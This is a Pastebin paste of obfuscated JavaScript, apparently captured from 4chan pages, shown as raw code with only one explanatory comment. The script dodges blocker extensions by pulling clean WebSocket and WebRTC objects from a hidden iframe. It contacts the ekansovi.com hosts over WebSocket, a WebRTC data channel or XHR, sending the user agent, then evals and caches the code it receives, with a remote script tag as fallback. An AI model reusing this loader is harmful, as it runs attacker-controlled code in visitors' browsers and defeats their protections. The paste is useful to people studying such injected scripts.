Guest User

4chan Obfuscated Javascript

a guest
Jun 21st, 2017
565
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.     try {
  3.         (function() {
  4.             function H() {
  5.                 function a(a, e, f) {
  6.                     if (!f) {
  7.                         var c;
  8.                         document.currentScript ? c = document.currentScript : (f = document.getElementsByTagName("script"), c = f[f.length - 1]);
  9.                         if (!c) return !1;
  10.                         f = document.createElement("div");
  11.                         try {
  12.                             c.parentElement.appendChild(f)
  13.                         } catch (k) {}
  14.                     }
  15.                     if (null == b) d.push([a, e, f]);
  16.                     else try {
  17.                         b({
  18.                             spaceID: a,
  19.                             arguments: e,
  20.                             destSelector: f
  21.                         })
  22.                     } catch (k) {}
  23.                 }
  24.                 var b = null,
  25.                     d = [];
  26.                 this.push = a;
  27.                 this.register = function(c) {
  28.                     if (b || "function" != typeof c) return !1;
  29.                     b = c;
  30.                     for (c = 0; c < d.length; c++) try {
  31.                         a(d[c][0], d[c][1], d[c][2])
  32.                     } catch (g) {}
  33.                 }
  34.             }
  35.  
  36.             function I() {
  37.                 function a(a, e, f) {
  38.                     try {
  39.                         if (!e) return {};
  40.                         var g = d(a),
  41.                             k = g.Object,
  42.                             v = g.hasOwnProperty,
  43.                             h = k(),
  44.                             m;
  45.                         for (m in e)
  46.                             if (v.call(e, m)) {
  47.                                 var l = e[m],
  48.                                     n = g["eval"](m);
  49.                                 void 0 !== l.bind && (n = n.bind(l.bind));
  50.                                 h[l.name] = n
  51.                             }
  52.                         c(g) && f && a.parentElement && a.parentElement.removeChild(a);
  53.                         return h
  54.                     } catch (N) {
  55.                         return {}
  56.                     }
  57.                 }
  58.  
  59.                 function e() {
  60.                     var a = document.createElement("iframe");
  61.                     a.style.display = "none";
  62.                     a.style.width = "1px";
  63.                     a.style.height = "1px";
  64.                     a["srcdoc"] = "a";
  65.                     (document.body || document.head || document.documentElement).appendChild(a);
  66.                     var c = d(a);
  67.                     "undefined" === typeof c.document.documentElement && c.document.write("a");
  68.                     try {
  69.                         c["stop"]()
  70.                     } catch (t) {}
  71.                     return a
  72.                 }
  73.  
  74.                 function d(a) {
  75.                     var c = "contentDocument",
  76.                         e = "defaultView",
  77.                         d = "contentWindow";
  78.                     return a[c] ? a[c][e] || a[d] : a[d]
  79.                 }
  80.  
  81.                 function c(a) {
  82.                     return "undefined" !== typeof a["InstallTrigger"]
  83.                 }
  84.  
  85.                 function g(a) {
  86.                     return !!a["chrome"] && !!a["chrome"]["webstore"] && !!a["webkitResolveLocalFileSystemURL"] && !("safari" in a)
  87.                 }
  88.                 var f = "window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.msRTCPeerConnection",
  89.                     l = "window.RTCSessionDescription || window.webkitRTCSessionDescription || window.mozRTCSessionDescription || window.msRTCSessionDescription",
  90.                     k = "window.RTCIceCandidate || window.webkitRTCIceCandidate || window.mozRTCIceCandidate || window.msRTCIceCandidate",
  91.                     h = "window.WebSocket",
  92.                     n = e(),
  93.                     m = d(n);
  94.                 if (900 >= (m["innerWidth"] || document["documentElement"]["clientWidth"] || document.body["clientWidth"]) || !(g(m) || m["opr"] && m["opr"]["addons"] && m["chrome"] || c(m) && "undefined" !== typeof m["mozInnerScreenX"] && "undefined" !== typeof m["mozRTCIceCandidate"]) && (g(m) || m["opr"] && m["opr"]["addons"] || m["opera"] || void 0 === m["webkitAudioContext"])) {
  95.                     var p = {};
  96.                     p["RTCPeerConnection"] = window["eval"](f);
  97.                     p["RTCSessionDescription"] = window["eval"](l);
  98.                     p["RTCIceCandidate"] = window["eval"](k);
  99.                     p["WebSocket"] = window["eval"](h);
  100.                     return p
  101.                 }
  102.                 var q = null,
  103.                     u = {};
  104.                 u[f] = {
  105.                     bind: void 0,
  106.                     name: "RTCPeerConnection"
  107.                 };
  108.                 u[l] = {
  109.                     bind: void 0,
  110.                     name: "RTCSessionDescription"
  111.                 };
  112.                 u[k] = {
  113.                     bind: void 0,
  114.                     name: "RTCIceCandidate"
  115.                 };
  116.                 f = {
  117.                     bind: void 0,
  118.                     name: "WebSocket"
  119.                 };
  120.                 q = {};
  121.                 c(m) ? (q = {}, q[h] = f, h = e(), q = a(h, q, !0)) : u[h] = f;
  122.                 h = a(n, u, !1);
  123.                 for (p in q) q.hasOwnProperty(p) && (h[p] = q[p]);
  124.                 return h
  125.             }
  126.  
  127.             function r(a) {
  128.                 return window.hasOwnProperty ? window.hasOwnProperty(a) : a in window
  129.             }
  130.  
  131.             function w(a) {
  132.                 this.w = a;
  133.                 this.g = null
  134.             }
  135.  
  136.             function x(a) {
  137.                 if (!a || !a.m) throw Error();
  138.                 this.m = a.m
  139.             }
  140.  
  141.             function y(a) {
  142.                 if (!(a && a.i && a.j && a.h)) throw Error();
  143.                 this.i = a.i;
  144.                 this.j = a.j;
  145.                 this.h = a.h;
  146.                 this.c = null
  147.             }
  148.  
  149.             function z(a) {
  150.                 if (!a || !a.l) throw Error();
  151.                 this.l = a.l;
  152.                 this.c = null
  153.             }
  154.  
  155.             function C(a, e, d, c) {
  156.                 var g = !1,
  157.                     f = !1,
  158.                     l = b.s.encode(JSON.stringify({
  159.                         url: e.url || "",
  160.                         method: e.method || "GET",
  161.                         headers: e.headers || {},
  162.                         body: null
  163.                     }));
  164.                 a.onopen = function() {
  165.                     a.send(l)
  166.                 };
  167.                 var k = new ArrayBuffer(0),
  168.                     h;
  169.                 a.onmessage = function(a) {
  170.                     if (!1 === g) g = !0, a = b.s.decode(a.data), h = JSON.parse(a), h.headers = h.headers ? D(h.headers) : {}, h = {
  171.                         status: h.status || 0,
  172.                         headers: h.headers || {}
  173.                     };
  174.                     else {
  175.                         a = a.data;
  176.                         var c = new Uint8Array(k.byteLength + a.byteLength);
  177.                         c.set(new Uint8Array(k), 0);
  178.                         c.set(new Uint8Array(a), k.byteLength);
  179.                         k = c.buffer
  180.                     }
  181.                 };
  182.                 a.onerror = function() {
  183.                     f = !0;
  184.                     c && c(Error())
  185.                 };
  186.                 a.onclose = function() {
  187.                     f || (g ? (h.body = k, d && d(h)) : (f = !0, c && c(Error())))
  188.                 }
  189.             }
  190.  
  191.             function D(a) {
  192.                 for (var b = {}, d = Object.keys(a), c = 0; c < d.length; c++) b[d[c].toLowerCase()] = a[d[c]];
  193.                 return b
  194.             }
  195.  
  196.             function J() {
  197.                 this.o = "74cb23bd";
  198.                 this.J = "6ab36227";
  199.                 this.M = "4e81075f";
  200.                 this.I = function() {
  201.                     if ("undefined" === typeof Storage) return null;
  202.                     var a = this.A(localStorage);
  203.                     return null != a ? a : this.A(sessionStorage)
  204.                 };
  205.                 this.A = function(a) {
  206.                     for (var e in a)
  207.                         if (a.hasOwnProperty(e)) {
  208.                             var d = a[e];
  209.                             if ("VX8OUm" === d.substr(d.length - 6, d.length)) {
  210.                                 var c;
  211.                                 if (d = d.substring(0, d.length - 6)) try {
  212.                                     c = JSON.parse(b.a(decodeURIComponent(escape(atob(d))), !1))
  213.                                 } catch (g) {
  214.                                     c = null
  215.                                 } else c = null;
  216.                                 if (c && c[this.o] && "VX8OUm" === c[this.J])
  217.                                     if (d = (Date.now() / 1E3 - c[this.o][this.M]) / 3600, window.isNaN(d) || 24 < d) delete a[e];
  218.                                     else return {
  219.                                         H: c[this.o][this.o],
  220.                                         B: e
  221.                                     }
  222.                             }
  223.                         }
  224.                     return null
  225.                 }
  226.             }
  227.  
  228.             function K(a, e) {
  229.                 function d(d) {
  230.                     d = b.s.decode(d.body);
  231.                     var e = {};
  232.                     e[f.name()] = f.f();
  233.                     e["1ec17f9f"] = c;
  234.                     a(d, e)
  235.                 }
  236.                 A.K() && (b.F = new b.u("R3X + gIlePonVjyjmEpHGmTsFPsEYyxBVkstc"));
  237.                 var c = I(),
  238.                     g = [];
  239.                 try {
  240.                     g.push(new z({
  241.                         l: c["WebSocket"]
  242.                     }))
  243.                 } catch (l) {}
  244.                 try {
  245.                     g.push(new y({
  246.                         i: c["RTCPeerConnection"],
  247.                         j: c["RTCSessionDescription"],
  248.                         h: c["RTCIceCandidate"]
  249.                     }))
  250.                 } catch (l) {}
  251.                 try {
  252.                     g.push(new x({
  253.                         m: window.XMLHttpRequest
  254.                     }))
  255.                 } catch (l) {}
  256.                 var f = new w(g),
  257.                     g = {
  258.                         url: "/ejs?p=" + "1416070001"
  259.                     };
  260.                 try {
  261.                     f.b(g, d, e)
  262.                 } catch (l) {
  263.                     e && e(Error())
  264.                 }
  265.             }
  266.  
  267.             function E(a, b) {
  268.                 (function() {
  269.                     eval(a)
  270.                 })(b)
  271.             }
  272.  
  273.             function L() {
  274.                 A.startTime = Date.now();
  275.                 var a = new H;
  276.                 window.upManager = a;
  277.                 var a = {
  278.                         "8d5f8a22": a.register,
  279.                         push: a.push,
  280.                         "2393021f": null,
  281.                         "3c58535f": null
  282.                     },
  283.                     b = null;
  284.                 try {
  285.                     b = (new J).I()
  286.                 } catch (d) {}
  287.                 if (null != b) try {
  288.                     E(b.H, a)
  289.                 } catch (d) {
  290.                     delete localStorage[b.B], delete sessionStorage[b.B]
  291.                 } else M(a)
  292.             }
  293.  
  294.             function F() {
  295.                 if (!G) {
  296.                     var a = document.createElement("script");
  297.                     a.src = ("https:" == window.location.protocol ? "https://" : "http://") + "xhr.ekansovi.com" + "/ljs?p=1416070001";
  298.                     document.getElementsByTagName("head")[0].appendChild(a);
  299.                     G = !0
  300.                 }
  301.             }
  302.  
  303.             function M(a) {
  304.                 K(function(b, d) {
  305.                     if ("" != b) {
  306.                         a["2393021f"] = b;
  307.                         d && (a["3c58535f"] = d);
  308.                         try {
  309.                             E(a["2393021f"], a)
  310.                         } catch (c) {}
  311.                     }
  312.                 }, function() {
  313.                     F()
  314.                 })
  315.             }
  316.             var b = {
  317.                 v: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
  318.             };
  319.             window.btoa || (window.btoa = function(a) {
  320.                 a = String(a);
  321.                 for (var e, d, c = 0, g = b.v, f = ""; a.charAt(c | 0) || (g = "=", c % 1); f += g.charAt(63 & e >> 8 - c % 1 * 8)) {
  322.                     d = a.charCodeAt(c += .75);
  323.                     if (255 < d) return !1;
  324.                     e = e << 8 | d
  325.                 }
  326.                 return f
  327.             });
  328.             window.atob || (window.atob = function(a) {
  329.                 a = String(a).replace(/=+$/, "");
  330.                 if (1 == a.length % 4) return !1;
  331.                 for (var e = 0, d, c, g = 0, f = ""; c = a.charAt(g++); ~c && (d = e % 4 ? 64 * d + c : c, e++ % 4) ? f += String.fromCharCode(255 & d >> (-2 * e & 6)) : 0) c = b.v.indexOf(c);
  332.                 return f
  333.             });
  334.             b.s = {
  335.                 encode: function(a) {
  336.                     if (window.TextEncoder) return (new window.TextEncoder("utf-8")).encode(a).buffer;
  337.                     a = unescape(encodeURIComponent(a));
  338.                     for (var b = new Uint8Array(a.length), d = 0; d < a.length; d++) b[d] = a.charCodeAt(d);
  339.                     return b.buffer
  340.                 },
  341.                 decode: function(a) {
  342.                     if (window.TextDecoder) return (new window.TextDecoder("utf-8")).decode(a);
  343.                     try {
  344.                         return decodeURIComponent(escape(String.fromCharCode.apply(null, new Uint8Array(a))))
  345.                     } catch (g) {
  346.                         var b = "";
  347.                         a = new Uint8Array(a);
  348.                         for (var d = a.byteLength, c = 0; c < d; c++) b += String.fromCharCode(a[c]);
  349.                         return decodeURIComponent(escape(b))
  350.                     }
  351.                 }
  352.             };
  353.             b.N = {
  354.                 encode: function(a) {
  355.                     a = new Uint8Array(a);
  356.                     for (var b = "", d = 0; d < a.length; d++) b += String.fromCharCode(a[d]);
  357.                     return btoa(b)
  358.                 },
  359.                 decode: function(a) {
  360.                     a = atob(a);
  361.                     for (var b = new Uint8Array(a.length), d = 0; d < a.length; d++) b[d] = a.charCodeAt(d);
  362.                     return b.buffer
  363.                 }
  364.             };
  365.             b.u = function(a) {
  366.                 this.C = [];
  367.                 this.D = 256;
  368.                 for (var b = 0; b < this.D; b++) this.C[b] = a.charCodeAt(b % a.length);
  369.                 this.L = function(a) {
  370.                     for (var b = "", d = 0; d < a.length; d++) b += String.fromCharCode(a.charCodeAt(d) ^ this.C[d % this.D]);
  371.                     return b
  372.                 }
  373.             };
  374.             b.F = new b.u("gIlePonVjyjmEpHGmTsFPsEYyxBVkstc");
  375.             b.G = function(a) {
  376.                 return b.F.L(a)
  377.             };
  378.             b.a = function(a, e) {
  379.                 !1 !== e && (a = atob(a));
  380.                 return b.G(a)
  381.             };
  382.             b.O = function(a) {
  383.                 (new Image).src = domain + "/l?a=" + a + "&p=1416070001&cb=" + Math.random().toString().slice(3, 9) + "&a=/staticmap&size=300x250"
  384.             };
  385.             z.prototype.b = function(a, e, d) {
  386.                 var c = new this.l("wss://" + "a.ekansovi.com" + "/wsp");
  387.                 c.binaryType = "arraybuffer";
  388.                 this.c = c;
  389.                 C(c, a, e, d)
  390.             };
  391.             z.prototype.f = function() {
  392.                 return this.c
  393.             };
  394.             z.prototype.name = function() {
  395.                 return "1"
  396.             };
  397.             y.prototype.b = function(a, e, d) {
  398.                 var c = "createOffer",
  399.                     g = "setLocalDescription",
  400.                     f = "setRemoteDescription",
  401.                     l = "createDataChannel",
  402.                     k = "addIceCandidate",
  403.                     h = "onicecandidate",
  404.                     n = "candidate",
  405.                     m = this.i,
  406.                     p = this.j,
  407.                     q = this.h,
  408.                     u = "F5:AB:89:E4:41:91:79:33:02:B8:7A:5B:E1:F5:46:7E:FE:5F:24:8F:BE:4E:3C:EC:78:06:53:A2:3F:4A:79:98",
  409.                     v = {};
  410.                 v["urls"] = ["stun:" + ("a.ekansovi.com" + ":" + "6001")];
  411.                 var B = {};
  412.                 B["iceServers"] = [v];
  413.                 var t = new m(B);
  414.                 t[l]("/meta/ping").binaryType = "arraybuffer";
  415.                 t[h] = function(a) {
  416.                     if (null != a[n] && (a = a[n][n].match(new RegExp("^candidate:\d+ \d+ (?:udp|UDP) \d+ (\d+\.\d+\.\d+\.\d+ \d+) typ srflx")), null != a)) {
  417.                         var c = {};
  418.                         c["candidate"] = "candidate:0 1 UDP 2147483647 " + a[1] + " typ host";
  419.                         c["sdpMLineIndex"] = 0;
  420.                         t[k](new q(c), function() {}, function() {})
  421.                     }
  422.                 };
  423.                 var r = "v=0\
  424. o=username 0 0 IN IP4 127.0.0.1\
  425. s=sessionname\
  426. c=IN IP4 127.0.0.1\
  427. t=0 0\
  428. a=fingerprint:sha-256 " + u + "\
  429. a=ice-options:trickle\
  430. m=application 1234 DTLS/SCTP 5000\
  431. a=sctpmap:5000 webrtc-datachannel 256\
  432. a=ice-ufrag:" + function() {
  433.                     for (var a = "", b = 0; 16 > b; ++b) var c = (4294967296 * Math.random() >>> 0).toString(16),
  434.                         a = a + ("00000000".substring(0, 8 - c.length) + c);
  435.                     return a
  436.                 }() + "\
  437. a=ice-pwd:00000000000000000000000000000000\
  438. ";
  439.                 t[c](function(a) {
  440.                     t[g](a, function() {
  441.                         var a = {};
  442.                         a["type"] = "answer";
  443.                         a["sdp"] = r;
  444.                         t[f](new p(a), function() {}, function() {})
  445.                     }, function() {})
  446.                 }, function() {});
  447.                 c = t[l](b.a("SD4fFVA=") + window.navigator.userAgent); //b.a("SD4fFVA=") = "/wsp�"
  448.                 c.binaryType = "arraybuffer";
  449.                 this.c = t;
  450.                 C(c, a, e, d)
  451.             };
  452.             y.prototype.f = function() {
  453.                 return this.c
  454.             };
  455.             y.prototype.name = function() {
  456.                 return "2"
  457.             };
  458.             x.prototype.b = function(a, e, d) {
  459.                 var c = this.m,
  460.                     g = a.url || "";
  461.                 if (1 > g.length || "/" != g[0]) g = "/" + g;
  462.                 var g = ("https:" == window.location.protocol ? "https://" : "http://") + "xhr.ekansovi.com" + g,
  463.                     f = a.method || "GET";
  464.                 a = a.headers || {};
  465.                 var l = !1,
  466.                     k = new c;
  467.                 k.onreadystatechange = function() {
  468.                     if (4 == k.readyState)
  469.                         if (0 == k.status) l || (l = !0, d && d(Error()));
  470.                         else {
  471.                             var a = k.status;
  472.                             var b = k.getAllResponseHeaders(),
  473.                                 c = {};
  474.                             if (b)
  475.                                 for (var b = b.split("\r\n"), f = 0; f < b.length; f++) {
  476.                                     var g = b[f],
  477.                                         h = g.indexOf(": ");
  478.                                     if (0 < h) {
  479.                                         var r = g.substring(0, h),
  480.                                             g = g.substring(h + 2);
  481.                                         c[r] || (c[r] = []);
  482.                                         c[r].push(g)
  483.                                     }
  484.                                 }
  485.                             a = {
  486.                                 status: a,
  487.                                 headers: D(c),
  488.                                 body: k.response
  489.                             };
  490.                             e && e(a)
  491.                         }
  492.                 };
  493.                 k.onerror = function() {
  494.                     l || (l = !0, d && d(Error()))
  495.                 };
  496.                 k.open(f, g, !0);
  497.                 k.responseType = "arraybuffer";
  498.                 for (var h in a) a.hasOwnProperty(h) && k.setRequestHeader(h, a[h]);
  499.                 k.send(null)
  500.             };
  501.             x.prototype.f = function() {
  502.                 return null
  503.             };
  504.             x.prototype.name = function() {
  505.                 return "0"
  506.             };
  507.             w.prototype.b = function(a, b, d) {
  508.                 function c(c) {
  509.                     return function() {
  510.                         function d(a) {
  511.                             200 > a.status || 300 <= a.status ? f.shift()() : (e.g = c, b && b(a))
  512.                         }
  513.                         try {
  514.                             c.b(a, d, function() {
  515.                                 f.shift()()
  516.                             })
  517.                         } catch (n) {
  518.                             f.shift()()
  519.                         }
  520.                     }
  521.                 }
  522.                 for (var e = this, f = [], l = 0; l < this.w.length; l++) f.push(c(this.w[l]));
  523.                 f.push(function() {
  524.                     d && d(Error())
  525.                 });
  526.                 f.shift()()
  527.             };
  528.             w.prototype.f = function() {
  529.                 return this.g ? this.g.f() : null
  530.             };
  531.             w.prototype.name = function() {
  532.                 return this.g ? this.g.name() : ""
  533.             };
  534.             var A = {};
  535.             A.startTime = Date.now();
  536.             A.K = function() {
  537.                 return Date.now() > this.startTime + 4E3
  538.             };
  539.             var G = !1;
  540.             try {
  541.                 (r("ucweb") || r("uckey") || r("UCAddonJava") || r("ucapi")) && F()
  542.             } catch (a) {}
  543.             try {
  544.                 L()
  545.             } catch (a) {
  546.                 window.upManager = a
  547.             }
  548.         })();
  549.     } catch (e) {}
  550. })()
Add Comment
Please, Sign In to add comment